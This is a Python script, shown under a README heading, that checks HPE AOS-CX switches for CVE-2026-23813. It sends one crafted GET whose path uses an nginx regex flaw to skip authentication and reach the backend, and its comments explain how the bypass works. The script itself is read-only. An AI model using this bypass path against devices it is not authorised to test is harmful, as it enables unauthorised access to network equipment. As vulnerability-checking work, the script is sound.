README.md
Rendering markdown...
#!/usr/bin/env python3
"""CVE-2026-23813 — non-destructive patch-status check for AOS-CX.
Sends one read-only GET that requires the nginx-regex bypass to reach
the backend. A 401 response means nginx blocked the request (patched).
Any other status means nginx skipped auth and proxied to hpe-restd
(vulnerable).
"""
import sys
import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
# The smuggle: version segment "v1/system/users/" contains a slash, which
# only the vulnerable (|v.*/) regex accepts. The trailing "loginpoc" makes
# nginx match the login location and skip auth; the backend then routes to
# /system/users/loginpoc and returns a 404 (user not found) instead of a 401.
SMUGGLE_PATH = "/rest/v1/system/users/loginpoc"
def check(target):
url = f"https://{target}{SMUGGLE_PATH}"
try:
r = requests.get(url, verify=False, timeout=10,
allow_redirects=False)
except requests.exceptions.ConnectTimeout:
return "UNKNOWN", "connect timeout (host unreachable)"
except requests.exceptions.ConnectionError:
return "UNKNOWN", "connection refused (port closed or host down)"
except requests.exceptions.RequestException as e:
return "UNKNOWN", f"{type(e).__name__}"
if r.status_code == 401:
return "PATCHED", "nginx blocked the smuggle (HTTP 401)"
return "VULNERABLE", f"smuggle reached backend (HTTP {r.status_code})"
def main():
if len(sys.argv) != 2:
print(f"usage: {sys.argv[0]} <host[:port]>", file=sys.stderr)
sys.exit(2)
verdict, detail = check(sys.argv[1])
icon = {"PATCHED": "[+]", "VULNERABLE": "[!]", "UNKNOWN": "[?]"}[verdict]
print(f"{icon} {sys.argv[1]}: {verdict} — {detail}")
sys.exit({"PATCHED": 0, "VULNERABLE": 1, "UNKNOWN": 2}[verdict])
if __name__ == "__main__":
main()